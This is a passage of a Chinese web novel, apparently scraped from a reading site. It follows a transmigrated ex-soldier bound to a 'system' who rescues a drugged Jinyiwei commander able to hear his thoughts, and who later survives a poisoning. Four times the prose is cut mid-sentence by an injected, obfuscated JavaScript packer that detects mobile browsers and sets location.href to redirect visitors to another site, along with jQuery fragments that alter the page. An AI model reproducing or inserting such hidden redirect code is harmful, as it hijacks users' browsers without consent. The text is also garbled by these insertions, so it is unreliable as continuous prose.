“我根本不知道曹福是谁,怎么可能看到他们见面?再说,他们在哪里见的面,和他见面的侍卫又是谁?”何林秋没好气地瞪着它,“那可是特务头子霍齐安,不仅思维缜密,而且手段狠辣,你不会天真地以为,仅凭一句话就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960899|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他打发了吧。” “我说的这件事是真实发生过的,只是宿主接收了原主十八年的记忆,内容太多,以致于没有完全消化。宿主今天见过曹福,就是你在院子里晒太阳时,陶旺带进来的那个小厮,右边眉毛有颗黑痣的那个。”猹猹焦急地催促道:“至于其他的信息,路上我再告诉你,赶紧走吧,再磨蹭就晚了。” 何林秋听他这么说,不情不愿地起身,慢慢悠悠地穿好衣服,在猹猹的一再催促下走出卧房。月黑风高,他拎着灯笼在宅子里走,想找个人带路,愣是没碰到一个,“这可是锦衣卫指挥使的宅子,一个值守都没有,合理吗?” 瞧猹猹一脸心虚,何林秋顿住脚步,怀疑地问:“这不会是你搞的鬼吧?” “你快点走,那个女人进霍齐安的房间了!” 事到如今,已经是箭在弦上不得不发,何林秋稍稍加快脚步,在猹猹的引路下,来到了霍齐安的院子。何林秋扫视一圈,也没见半个人影,不禁有些无语,径自朝着卧房走去。 来到近前,何林秋抬手敲了敲门,扬声说道:“大人,属下有要事求见。” 何林秋等了一会儿,没听到回话,再次敲了敲门,“大人,属下何林秋,有要事求见。” “宿主,霍齐安中了药,根本没力气回话,你再不进去,那个女人就要霸王硬上弓了!” 想到霍齐安被霸王硬上弓,何林秋不禁有些恶寒,却并未听猹猹的,而是等在外面。等了没一会儿,房间里突然传来哐当一声响,何林秋这才出声说道:“大人,您没事吧?” 又是砰的一声响,何林秋清楚他是在求救,“大人,您是出什么事了吗?” “啊!”一声女人的尖叫声响起,何林秋不再犹豫,抬手去推门,房门被反锁,一时没有推开。何林秋一咬牙,后退两步狠狠撞了上去,伤口传来剧痛,他不禁皱眉,忍不住在心里想道:“妈的,伤口撕裂了,又得多喝几天的药,亏大了!” 何林秋快步往里走,一眼便看到了躺在地上衣衫不整的女人,光洁的肩膀上有一道很深的伤口,粉色的肚兜被鲜血浸湿,她双眼紧闭,唇线紧抿,似是被吓晕了过去。 何林秋朝床上看去,霍齐安亦是衣衫不整,眼神迷离,眼尾泛红,胸膛因急促的呼吸上下起伏。他的手里拿着一把匕首,匕首上沾着鲜红的血。 “不愧是霍齐安,中了药居然还能伤人,危险程度必须多加一个S。”何林秋小心翼翼地靠近,关切道:“大人,您没事吧?可有伤到哪儿?” “再加一个S?”霍齐安缓缓抬眸,看向床前站着的何林秋,体内就像燃了一团火,燃烧着自己的理智,而被刻意压制的欲望,即将冲出牢笼。 “大人放心,属下这就去叫人,帮大人请大夫。”何林秋见霍齐安看向自己的眼神不对,脚底抹油,转身就走。 霍齐安下意识地伸手,攥住了何林秋的手腕,冰冰凉凉的触感,缓解了体内的燥热,却本能地渴望更多。 5. 被强吻…… 手腕被攥住,何林秋一愣,随即想要挣脱,只是霍齐安的手就像铁钳一般,死死咬着,根本挣脱不开。 “他不会怀疑我和这个女人是一伙儿的吧?这是也想给我一刀?妈的,就不该多管闲事。”何林秋拍了拍霍齐安的手,“大人,您松手,属下去叫人,马上给您请大夫。” “不是一伙儿的。”霍齐安本能地将何林秋往怀里拉。 “大人,属下这就去叫人。”何林秋察觉不对,使用巧劲儿挣脱霍齐安的拉扯,抬脚就往门口走,在心里嘀咕道:“他神志不清了,男女都不分了,得赶紧溜。” 何林秋刚走到门口,手臂突然被拽住,在力的作用下,伤口被撕裂,何林秋疼得闷哼一声,待回过神来时,自己被霍齐安壁咚在门边。 “大人……” 何林秋刚开口,霍齐安便吻了上来,呼吸被掠夺,他震惊地睁大眼睛,忍不住在心里哀号:“老子的初吻!” 何林秋狠狠咬了一口,霍齐安吃痛,松开何林秋,理智有瞬间的恢复,却在下一秒后脑一痛,紧接着两眼一黑,昏了过去。 “宿主,霍齐安中的药很特殊,昏睡不能消解药性,必须让他发泄出来。” 何林秋闻言,皱紧了眉头,道:“那你让我过来是什么意思?让我给他解药?我是男人,你脑袋没问题吧?” 瞧何林秋的神色不对,猹猹心虚地缩了缩脖子,说道:“当然不是。你可以叫人去请御医,至于谁给他解药,由他自己决定。这样,宿主既赚了积分,还赚了霍齐安的好感,一举两得。” 事到如今,也只能这样,何林秋冲出房间大声呼喊,很快便叫来了人。抬人的抬人,请御医的请御医,何林秋跟管家交代了一声,便走回自己养伤的院子。之前还空无一人的宅子,顿时热闹起来,人来人往,何林秋冷眼瞧着,感觉有些怪异。 何林秋刚进院子,陶旺便不知从哪儿冒了出来,奇怪地问道:“公子,您这是去哪儿了?” “我有事找大人,去了大人的院子。”何林秋敷衍地回了一句,径自走进卧房,“去拿伤药和绷带,我的伤口又裂开了。” 陶旺应声,急忙照做,待回到卧房时,何林秋已经脱掉上衣。白色的绷带已被鲜血染红。陶旺见状,皱紧了眉头,关切道:“公子,到底发生了何事,您的伤口怎会被撕裂?” “不小心撞了一下。”被人下药不是什么光彩的事,尤其对霍齐安这种人,就算真的发生了,也不该从他嘴里传出去。 陶旺瞧他脸色较之前更白了,也就没再多问,专心为他上药。待收拾完,何林秋只觉得头晕目眩,强撑着回到床上,昏昏沉沉地睡了过去。临睡之前,他跟猹猹要了积分,一通讨价还价后,这次的任务获得五百积分,外加一次抽奖。 瞧着昏睡的何林秋,猹猹气得咬牙切齿,原本要给他的积分是三百分,可何林秋非说他不仅被一个男人强吻,还失去了初吻,造成了严重的心理阴影,要求它赔偿精神损失,否则就继续摆烂。猹猹理亏,想补偿他一百积分,可何林秋咬死太少,最后只能忍痛多给他了两百积分。 霍齐安的卧房,王兴和正给霍齐安把脉,好一会儿才收回手。 一旁的王朔出声问道:“御医,指挥使这是中了什么药?” 王兴和沉吟片刻,道:“指挥使中的药叫醉心,是一种极为霸道的春药,必须发泄出来,方能解了药性,否则会损伤根本。” 王朔眉头微蹙,问道:“那指挥使为何会晕倒?” 王兴和如实答道:“是被打晕的。” 王朔愣了愣,不自觉地看向霍齐安被咬伤的唇,脑海中浮现何林秋那张雌雄莫辨的脸,再结合王兴和方才的话,一个念头冒了出来,该不会…… 王兴和见王朔神情古怪,疑惑地叫道:“王千户?” 王朔回神,道:“劳烦御医将指挥使唤醒。” 这事还得霍齐安拿主意,如果他们随意塞个女人给他,那他们的下场绝对会很惨。 王兴和拿出银针,将霍齐安唤醒。 霍齐安缓缓睁开眼睛,入眼的是他的贴身侍卫王朔,在锦衣卫任千户一职,以及侍立在一旁的王兴和,没有何林秋。霍齐安眉头微蹙,刚要开口,奔涌而来的燥热,让嘴边的话咽了回去,冷眼看向王兴和,道:“为何不给我解药?” 王兴和见状,心头一紧,急忙说道:“大人,您中的是一种名叫醉心的烈性春药,只能发泄出来,才能解了药性,否则会伤及根本,影响房事。” 霍齐安眼中闪过杀意,转头望向王朔,淡淡地开口,“既然她耐不住寂寞,就给她灌了药,送去最下等的窑子。” “是。”王朔领命而去。 药性越来越强烈,霍齐安攥紧双拳强撑着,冷声说道:“我不管你用什么方法,给我解了药,否则……” “大人……”王兴和刚开口,就被霍齐安满含杀意的眼神吓住。他颤颤巍巍地说道:“若是大人不想让人疏解,自己……也非不可。” 霍齐安闭上眼睛,沉声道:“滚!” 王兴和如蒙大赦,拎起药箱便往外走,好似有洪水猛兽在追。 第二日,何林秋头晕目眩的感觉并未消失,反而更加严重,耳边嗡嗡作响,好似有几百只蜜蜂在嗡嗡叫,“好吵!谁在吵?” 霍齐安抬眸,看向床上昏睡的人,双眼紧闭,眉头紧锁,脸色比之前又差了几分。早上,陶旺来报,何林秋伤口被撕裂,又发起了热,他差人请了御医,直到下值回府,人还在昏睡。 霍齐安起身走到床前,瞧着他紧锁的眉头,鬼使神差地伸手,轻轻揉着。许是起了作用,何林秋的眉头慢慢舒展,安稳下来。霍齐安收回手,清冷的目光落在他的唇上。虽然中了药,可昨晚发生的事,他记得清楚,也不知自己怎么了,居然会强吻了一个男人,甚至想…… 霍齐安的视线下移,落在何林秋的脖子上,虽然皮肤白皙,却喉结明显,这是身为男子的特征。霍齐安伸出手,轻轻掐住他的脖子,慢慢收紧。舒展的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960900|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头再次皱紧,何林秋因为缺氧,像离水的鱼儿一样,张开了嘴。 “谁……谁想杀老子?霍齐安,有人在你眼皮子底下,杀你救命恩人,如果让他得手了,你这个锦衣卫指挥使别干了!” 熟悉的声音在耳边响起,霍齐安手上的力道一松,缓缓收了回去。是何林秋的心声,敢跟他这么说话的,整个京都屈指可数。不过,他都敢打晕他,又有什么不能在心里说的。 “别让老子知道你是谁,否则等老子好了,一定废了你!”何林秋的眉头皱得越发紧了。 “废了我?”霍齐安伸手,轻抚他的眉心,嘴角勾起一抹弧度,“我倒是想看看,你要如何废了我。” “主子,药熬好了。”陶旺的声音从门外传来。 “主子?”何林秋停顿片刻,接着想道:“刚才那个要杀我的是霍齐安!” 霍齐安嘴角的弧度又上扬了几分,扬声说道:“进来。” “真是霍齐安!”何林秋的语气中满是惊讶,“妈的,果然是喜怒无常、心狠手辣的主儿,老子救了他两次,他居然想杀老子!” “所以呢?你想怎么废了我?”霍齐安在心里想着。 陶旺端着药进来,见霍齐安伸手,急忙将药碗递了过去。 “妈的,气死老子了!老子为了救他,搭进去半条命,他居然想杀老子,真是白眼狼!老子以后再救他,老子就是狗!” “白眼狼和狗……”霍齐安拿着勺子的手一顿,薄唇勾起好看的弧度,“倒是般配。” 想到这儿,霍齐安的神情一怔,清冷的目光再次落到他的唇上,明明是个男子,唇居然那般软,还因日日喝药,有股淡淡的药香。霍齐安垂下眼眸,唇上的咬伤竟传来丝丝缕缕的痛,还……有些痒。难不成自己真的好男风? 陶旺伸手去扶何林秋,以方便喂药,却被霍齐安拦住。陶旺不解,抬头看向霍齐安,还未开口,就听他说道:“你去拿些蜜饯来。” “蜜饯?”陶旺越发疑惑,茫然地挠挠头,“主子,您素来不喜甜食,府上除了备着茶点外,没有其他甜食。” “那便差人去买。” “哦,好,奴才这就去。”陶旺一脸茫然地离开。 霍齐安起身坐到床头,将何林秋扶起,靠在自己怀里,随后又端起药碗吹了吹。 “他想干嘛?又想杀老子?死眼,赶紧睁开!猹猹,你别装死,我说不去做任务,你非要我去,如果我死了,就是你害的!” “宿主淡定,霍齐安只是想喂你喝药,没想杀你。” 耳边响起何林秋的声音,霍齐安舀了一勺药,送到他嘴边,轻声说道:“张嘴,喝药。” 何林秋能听到霍齐安的话,身体却无法照做,“我倒是想,可张不开啊。” 霍齐安将药碗放到桌上,捏住何林秋的下巴,迫使他张开嘴,将药送进他嘴里。药的苦涩瞬间充斥口腔,竟比以往的药还要苦。 “妈的,他这次不是想掐死我,是想苦死我!” 6. 心疼男人? 一碗苦汤子下去,硬生生给何林秋苦醒了,虚弱地睁开眼睛,抬眸看去,映入眼帘的是霍齐安的下巴,还有凸起的喉结。 “醒了。” 霍齐安低沉的声音自头顶响起,何林秋急忙收回视线,开始扮演伏低做小的下属,强撑着拉开两人的距离,“不敢劳烦大人。” 何林秋低着头,瞄了一眼旁边的桌子,忍不住在心中想道:“嘴里好苦,那个雪梨酥呢?今天没准备吗?陶旺去哪儿了?” “陶旺?”霍齐安眉头微蹙,清冷的眸子里闪过不满,将药碗放到桌上,端了漱口水给他。 何林秋愣了下,伸手接过漱口水,“有劳大人。” “他到底想干嘛?刚才不是还想杀我,现在又是闹哪样?”何林秋漱了漱口,嘴里的苦味淡了许多。 猹猹学人类抱着手臂,“宿主,我都说了,霍齐安不会杀你。” “昨晚你为何出现在我的院子?” “回大人,昨日属下在院子里晒太阳,见到一个人十分眼熟,当时并未想起是谁,后来突然想起,便想向大人禀告,于是就去了大人的院子。”何林秋喘了口气,接着说道:“不过很奇怪,属下在院子里行走,竟不见一个仆从,巡夜的侍卫也不见踪影。” 昨晚霍齐安在钓鱼,支走了所有人,没想到被人钻了空子。 “没听到心声,他说的是真的”,霍齐安淡淡地开口,“什么人?” “曹福。”在这种时候,何林秋需要全神贯注地应对,根本不敢胡思乱想,“他是府里的小厮。” “曹福?”霍齐安的视线移开了一瞬,思考这个曹福是谁,“他怎么了?” “属下偶然撞见过他和安王的人接触。” “安王的人?”霍齐安神色淡淡,“谁?” 何林秋摇摇头,道:“属下不知他是谁,只在安王身边见过。” “你是在何处见到他们?” “在秋晚阁后门。属下路过,先是撞见那个侍卫,瞧他神色鬼祟,便跟了上去。他从后门进了晚秋阁,进去没多久,曹福也鬼鬼祟祟地进了门。约莫在里面待了一盏茶的工夫,曹福先出晚秋阁,隔了一盏茶,侍卫也出了晚秋阁。” 昨晚何秋林详细地问了这件事,就连他们哪只脚先进的门这种细节,他都问到了。 “你为何会出现在晚秋阁附近?” 晚秋阁是京都最大的青楼,里面的妓子不仅容貌好,还精通琴棋书画,进出那里的人要么有权,要么有钱。 “啊?”何林秋被问得一愣,随即答道:“属下刚好路过。” “这是需要关注的重点吗?所以……他又在怀疑我!”何林秋忍不住在心里翻了个白眼,“疑心病重是病,得治!” “这么巧?”霍齐安看着何林秋的眼睛,很标准的杏眼,黑白分明,干净纯粹,不像是从尔虞我诈的高门大户中出来的人,除非他善于伪装,连他都骗了去。 “大人怀疑属下?”何林秋小心翼翼地发问。 不安的眼神,苍白的脸色,配上这样一张雌雄莫辨的脸,霍齐安脑海中浮现四个字‘我见犹怜’,心脏揪了一下,不是很疼,却能清晰地感知到,他在心疼一个男人。 “这人心思深沉,压根猜不透他在想什么。”何林秋被他盯得心里发毛,“早知道不挡那一箭了,丢了半条命不说,还被怀疑心怀不轨。” “如果他疑心病不重,怎么做锦衣卫指挥使?”猹猹的语气中难掩幸灾乐祸。 “倒也是。锦衣卫是皇帝用来监察百官的耳目,锦衣卫指挥使则是他最趁手的一把刀,指哪儿打哪儿,树敌无数,如果没点疑心病,早被人弄死了。” 瞧他眉眼低垂,好似在发呆,可自己并未听到心声,霍齐安不禁有些疑惑,道:“在想什么?” “没,没想什么。”突如其来的说话声,吓了何林秋一跳。 所以刚才他没听到心声,是因为他只是在发呆。 “他怎么还不走?陶旺去哪儿了?”何林秋偷偷摸了摸肚子,“我这是昏迷了多久,怎么这么饿?” “又是陶旺。”霍齐安皱了皱眉头,扬声说道:“来人。” 房门被推开,门外的侍从走了进来,恭敬地行礼道:“主子。” “去厨房拿些清淡的吃食。” “是,主子。” “又清淡,再淡下去,我得升天!堂堂朝廷三品大员,皇帝的亲信,每天就给病人吃素,太抠门了!”何林秋在心里嘀咕,“想念烧烤,想念火锅,想念酱肘子!” “抠门?那些吃食可都是上好的药膳,一顿就是十两银子,还真是不知好歹。不过……”霍齐安瞧他瘦弱的身子,“他在伯府的日子艰难,没见过这些好东西不足为奇。” “他怎么还不走?锦衣卫就这么闲吗?”何林秋看向窗外,瞧太阳的方位,应该是下午三点,“这是想着法儿的要弄死我?” “宿主,我再说一遍,霍齐安不会杀你。” 听猹猹如此笃定,何林秋怀疑它有事隐瞒,“你怎么知道?” “我当然……”猹猹突然打住话头,有些心虚地移开视线,“我可是系统,万能的存在,当然知道。” “猹猹,我们可是合作伙伴,合作伙伴最重要的就是坦诚,你应该没什么事瞒着我吧?” “当然没有。”猹猹的大眼睛滴溜乱转,一瞧就是在撒谎。 好一会儿没听到动静,霍齐安抬眸看过去,发现何林秋又在发呆,看神情应该是在想什么事,只是他并未听到他的心声。这让他有种脱离掌控的感觉,很不舒服。 敲门声响起,门外传来通禀声,“主子,刑部肖侍郎让人递了拜帖。” 霍齐安淡淡地开口,“人在何处?” “就在府门外。” 霍齐安沉吟片刻,道:“请肖侍郎去正厅。” “是,主子。” “刑部肖侍郎?”何林秋在脑海中搜索有关刑部侍郎的信息,刑部左侍郎叫崔长恩,安王的人,刑部右侍郎叫肖成叙,太子党。“肖成叙登门是为了什么事?” “肖成叙…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960901|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”霍齐安合上书,起身离开。 房门关上,何林秋长出一口气,小声说道:“这尊瘟神终于走了,以后得离他远远的,最好是换份差事,不然还是避免不了见面。” 猹猹忍不住接话道:“你先离开霍府再说吧。” “不是,你这话听起来别有深意啊!”何林秋怀疑地瞧着它,“猹猹,你的意思好像在说我离不开霍府。” “你想多了!”猹猹心虚地移开视线。 何林秋哪能看不出来,威胁道:“你最好不是这个意思,否则咱们一拍两散,反正我已经死过一回了,大不了就再死一回。” “宿主,好死不如赖活。况且,只要你赚够积分,就能回到现代,你也不想自己打拼出来的事业拱手让人吧。” “那些都是跟着我出生入死的兄弟,我死了,公司当然是他们的,我心甘情愿。”想拿这个蛊惑他,那还真是小瞧他了,他之所以那么拼,那是因为有一群值得他拼命的兄弟。 “难道你不想回去,继续跟他们一起出生入死?” “回不回都行。”何林秋那双杏眼微微眯起,似笑非笑地看着它,“猹猹,你应该查过我的资料吧,多少清楚我是什么个性,我这人最恨别人威胁我。还有,我从不受威胁,向来是宁为玉碎,不为瓦全。” 猹猹胖乎乎的身体一抖,只觉得一股寒意从尾椎骨往上冒。在绑定之前,它确实调查过何林秋,他是特种兵出身,身手一流,头脑一流,手段也够狠,对敌人狠,对自己更狠。只要被他咬上,不死也残。他之前说的被电击,可不是说着玩儿的,是实实在在的电击,每次都要电到失禁,这样的日子整整持续了三个月。只是这段时间跟他相处,被他的虚弱和摆烂所蒙蔽,忘了他是身上的那股狠劲儿。 “宿主,咱们可是合作共赢的关系,当然是你好我好大家好,我只会帮助宿主。”猹猹讨好地说:“宿主,我这儿有瓜,你吃吗?” “什么瓜,说来听听。” 话音刚落,门外便传来通禀声,“公子,奴才来送吃食。” “进。”何林秋已经饿得前胸贴后背了,终于等到人来送饭了。 房门被推开,脚步声由远及近,何林秋看向门口,见到来人有些意外,正是被他打小报告的曹福。他的右边眉毛中间有颗痣,特征非常明显。 曹福拎着食盒,躬身走到床前,行礼道:“奴才见过公子。” “不必多礼。”何林秋不动声色地打量着他,问道:“陶旺呢?怎么不见他?” “奴才不知,公子见谅。”曹福放下食盒,拿了张矮桌放到床上,随后手脚麻利地将饭菜摆上桌。 一碗白色的熬得很烂的粥,一碗精米饭,一个拼盘小菜,真的是一点荤腥都没有。何林秋看着面前的饭菜有些无语,忍了又忍,终于没忍住,说道:“我问你个事。” 曹福正打算退下去,听他这么说,脚步一顿,恭敬地说道:“公子有话直说便可,奴才定知无不言言无不尽。” “你们霍府的日子过得很清苦吗?” 7. 就是个疯子! 昏迷期间,何林秋并不清楚自己吃了什么,可自从他醒来,每天就是各种粥,还有不知道什么做成的小菜,以及一碗精米饭。完全看不到荤腥,让何林秋一度怀疑自己在和尚庙,吃的是素斋。今天是忍无可忍,无须再忍,终于问出心中疑惑。 “你们霍府的日子是不是过得很清苦?”何林秋非常委婉地问道。 曹福愣了下,不解地抬眸,说道:“公子,奴才没听明白?” “你们平时吃饭也没有荤腥吗?”何林秋说完,看了看面前的饭菜。 “我们平时吃饭都是一荤一素,虽算不上丰盛,却能饱腹。”曹福停顿片刻,接着说道:“公子,您面前的饭菜虽然看似简单,做起来却极为复杂,比如那碗粥,光是食材就用了十二种,整整熬制了两个时辰。” “十二种食材?”何林秋拿起筷子搅了搅,完全看不出是什么做成的。 “十二种食材中有四种是药材,对公子的身体大有裨益,这是主子专门询问御医后,让人特意准备的药膳。” “怪不得吃起来一股药味。”何林秋尴尬地笑笑,好吧,他是井底之蛙,见识短浅了。 “那公子慢用,奴才先退下了。” “好。”何林秋应了一声。 猹猹没忍住,噗呲笑出了声。 何林秋瞪了它一眼,慢条斯理地吃起饭来,忍不住吐槽道:“但凡跟药沾上边的,都难吃得要死。” 猹猹接话道:“再难吃也得吃,宿主要快点养好身体,这样才能早点离开霍府。” “你说得对。”何林秋叹了口气,端起碗咕咚咕咚喝了个精光,吃药膳总比喝药强。他算是看明白了,跟在霍齐安身边太危险,为了小命就得离得远远的。 “叮,警告!警告!饭菜里被下了毒。” 何林秋看看面前空了的碗,额角的青筋抽了抽,道:“我都喝完了,你告诉我饭菜里有毒?你怎么不等我死了再说?” 猹猹挠了挠脑袋,道:“宿主,你还有一次抽奖,说不准能抽到解毒丹。” 何林秋的肚子开始隐隐作痛,咬牙切齿道:“那还不赶紧的!非得等我死了?” 猹猹急忙挥了挥爪子,面前顿时出现抽奖页面。何林秋忍着疼痛,点了抽奖的按钮,画面开始闪烁,过了约莫五秒,画面定格,是大力丸一瓶。 “猹猹!”何林秋疼得蜷缩起身子,“你最好把毒给我解了,否则咱们就一拍两散。” 猹猹心虚地提醒道:“宿主,你还有积分,可以兑换解毒丹。” “这是你的失误,凭什么要我买单?”喉头一热,何林秋吐出一口鲜血。 猹猹焦急道:“宿主,这是烈性毒药,你赶紧兑换解毒丹吧,不然你就真的死了!” “我不兑换,我要是死了,就是你害的。” 猹猹见状,急得直转圈,眼看着他的气息越来越弱,终于忍不住给何林秋服了一颗解毒丹,感受着他逐渐平稳的气息,不禁一阵肉疼,“真是亏大了!” 这次的事也让猹猹真切地意识到,何林秋就是个疯子,他是真的不在乎这条命。 解毒丹的效果很不错,那种内脏被撕裂的痛感在慢慢消失,何林秋大口喘着粗气,双眼无神地盯着床帐,过了好一会儿,才算活过来。他开口问道:“中毒的症状能保持吗?” 猹猹秒懂他的意思,不甘不愿地答道:“能。” “那就保持。” 话音刚落,门口便传来动静,是很轻的开门声,过了几秒,又传来轻微的声音,应该是在关门,何林秋猜想。他闭着眼睛,一动不动地躺在床上,只能努力去感知。对方刻意放轻动作,他几乎听不到声音,却敏锐地感知到了对方的动作。 “给我大力丸。”何林秋现在的身体很虚弱,根本无法跟来人对抗,只能借助外力,于是便想到了之前抽奖抽到了大力丸。 “宿主,大力丸已送达。” 何林秋手心一凉,一个瓷瓶出现在手中。 来人轻手轻脚地走到床前,伸出手去探何林秋的鼻息,停顿一会儿,确定没了鼻息后,他刚要收回手,手腕便被死死攥住。他心里一惊,用力抽手,可不待挣脱,便看到一个拳头挥了过来。他下意识抬手抵挡,却感到一股巨力,只听‘咔嚓’一声,身体不由自主地飞了出去。‘砰’,砸在对面的榻上,他哼都未哼一声便昏了过去。 放在床上的矮桌被掀翻,发出噼里啪啦的声响,何林秋眉头微蹙,皮肉被撕裂的痛传来,不用看也知道伤口又撕裂了。 急促的脚步声响起,房门被大力推开,霍齐安冲了进来,紧接着便看到何林秋吐出一口黑血,软软地倒下去。他慌忙冲上前,拖住何林秋的头,耳边传来他的心声,“霍齐安,早知道就不救你了……” “快去叫御医!”霍齐安大声嘶吼。 王朔被吓了一跳,急忙应声,跑了出去。 霍齐安将何林秋抱了起来,冷眼看向倒在地上的曹福,道:“把他送去水牢,不要让他死了,我要亲自审问!” “是,主子。”侍从应声,拖着曹福走出房间。 霍齐安在去正厅之前,吩咐人盯着曹福,负责盯梢的人见曹福去给何林秋送饭,便将消息传了出去。王朔收到消息,有些犹豫,不知是否要上报,想到霍齐安对何林秋的在乎,还是冒着被降罪的风险,上报了这个消息。霍齐安听后,没有丝毫犹豫,径自丢下肖成叙,快步赶去何林秋的院子。刚来到卧房门前,就听到哐当一声巨响。他心里一急,一脚踹开房门,便看到方才那一幕。 瞧着床上气息微弱的人,霍齐安的心狠狠揪着,他也不清楚为何会如此。若非何林秋为他挡箭,霍齐安压根不知道他这个人,就算他养病这段时间,他们之间的交流也少之又少,不知从何时起,他竟如此在意这个男人。 没有任何心声,他真的在昏迷。他在倒下前,最后一句心声,是后悔为他挡箭。从他挡箭到现在,已有近一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960902|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的伤一直反反复复,后又为了救他撕裂了伤口,现在又中了毒…… 王兴和拎着药箱进了霍齐安的院子,在看到卧房内躺着的人时,有片刻的怔忪,不过很快便回了神,刚要行礼,便听霍齐安说道:“过来看诊。” 王兴和应声,走到床前,给何林秋诊脉。随着时间的流逝,他的表情越来越凝重,斟酌片刻道:“大人,公子中了剧毒,如今已深入肺腑,加之之前伤重未能痊愈,怕是……” 霍齐安的心脏骤然收缩,疼得他皱紧眉头,冷声道:“我不管你用什么办法,务必把他救活,否则你知道后果。” 霍齐安本就一副冷脸,如今周身散发出的寒气还沾染了血腥,让人胆寒。王兴和见状,紧张地吞了吞口水,道:“下官一定尽力。只是要解毒需用到七星草。” 七星草是一种极为罕见且昂贵的药材,只有御药房才有。 霍齐安抬眸看向王朔,吩咐道:“去库房取。” 王朔犹豫片刻,道:“主子,七星草是皇上赏您保命用的。” 霍齐安没说话,只是睨了他一眼。 王朔心头一颤,急忙应声,“属下这就去取。” 王兴和看了看霍齐安,又看了看何林秋,眼中闪过疑惑。自他来给何林秋看诊,便派人调查过何林秋,他就是淮安伯府不受宠的庶子,没想到竟被霍齐安这么看重,竟将他带回自己的卧房,还不惜用御赐的七星草给他解毒。这还是那个心狠手辣、六亲不认的锦衣卫指挥使吗? “为确保毒素不再蔓延,下官需为公子施针。” 霍齐安点点头,让开床边的位置。 王兴和坐到床边,伸手去扒何林秋的衣服,却被攥住了手腕。他不解地转头看去,却听霍齐安说道:“我来。” 王兴和有些茫然,瞥了昏睡的何林秋一眼,一个念头冒了出来,难不成他是女扮男装?不对,之前何林秋重伤,就是他处理的伤口,他是个货真价实的男人。既然他们都是男人,他又是大夫,扒何林秋的衣服有什么不妥? 霍齐安替何林秋宽衣解带,露出缠着绷带的胸膛,白色的纱布上又渗出了血。他瞳孔一缩,明明见惯了血腥,却觉得如此刺眼。王兴和打了个冷战,总觉得屋内的温度又低了。他搓了搓手,开始给何林秋扎针。一盏茶后,针灸结束,王朔也回来了,手里捧着个盒子,里面正是王兴和所说的七星草。 “宿主,宿主,快醒醒!”猹猹焦急地喊着。 何林秋不是装晕,他是真的昏了过去,身体太虚,即便吃了大力丸,短暂地拥有了力气,这么大的动作也足以让他晕过去。 眼看着王兴和要将七星草喂给何林秋,猹猹的语气又急了几分,“宿主,七星草有剧毒,如果你再不醒,就又要死了!” 何林秋听到了猹猹的声音,只是身体太虚弱,根本醒不过来。微凉的触感传来,有人捏住了他的下巴。 “宿主,快醒醒,再不阻止,你就要死了!” 8. 此仇不报 “这株七星草要怎么用?” 何林秋的气息越来越微弱,霍齐安焦急地问道。 “公子的情况紧急,若是熬制汤药,怕是来不及,索性直接捣碎,再调成汁喂给他。” 霍齐安看向王朔,吩咐道:“照做。” 王朔应声,拿着七星草走出卧房,不一会儿的工夫,便又返回,将处理好的七星草递给霍齐安。霍齐安接过盛放七星草的碗,捏住何林秋的下巴,迫使他张开嘴。 眼看盛着七星草汁液的勺子就要伸进何林秋嘴里,猹猹焦急地喊道:“宿主,快醒醒,你再不醒,就要死了!” “这是因为谁?我看你就是想看我死!” 猹猹一噎,小声嘀咕道:“我都赔给你一颗解毒丹了,你还想怎么样?” “那就再赔一颗解毒丹。” “不行!”猹猹本能地拒绝,赔的那颗解毒丹是它用自己的积分换的,如果再赔一颗,那就亏大了,“是你非要延续中毒的症状,这才让他们误以为你中毒了,所以怪不得我。” “如果我不延续中毒的症状,要怎么解释中毒了,又解毒了?你以为这些御医都是吃干饭的?霍齐安本来就怀疑我,再折腾这么一回,我还能全须全尾地离开霍府?” 嘴巴微凉,是瓷器的触感,霍齐安的勺子已经伸进他嘴里,“你别忘了我是怎么中的毒!” “就算我给你解毒丹,以你现在的状态,要怎么吃?” 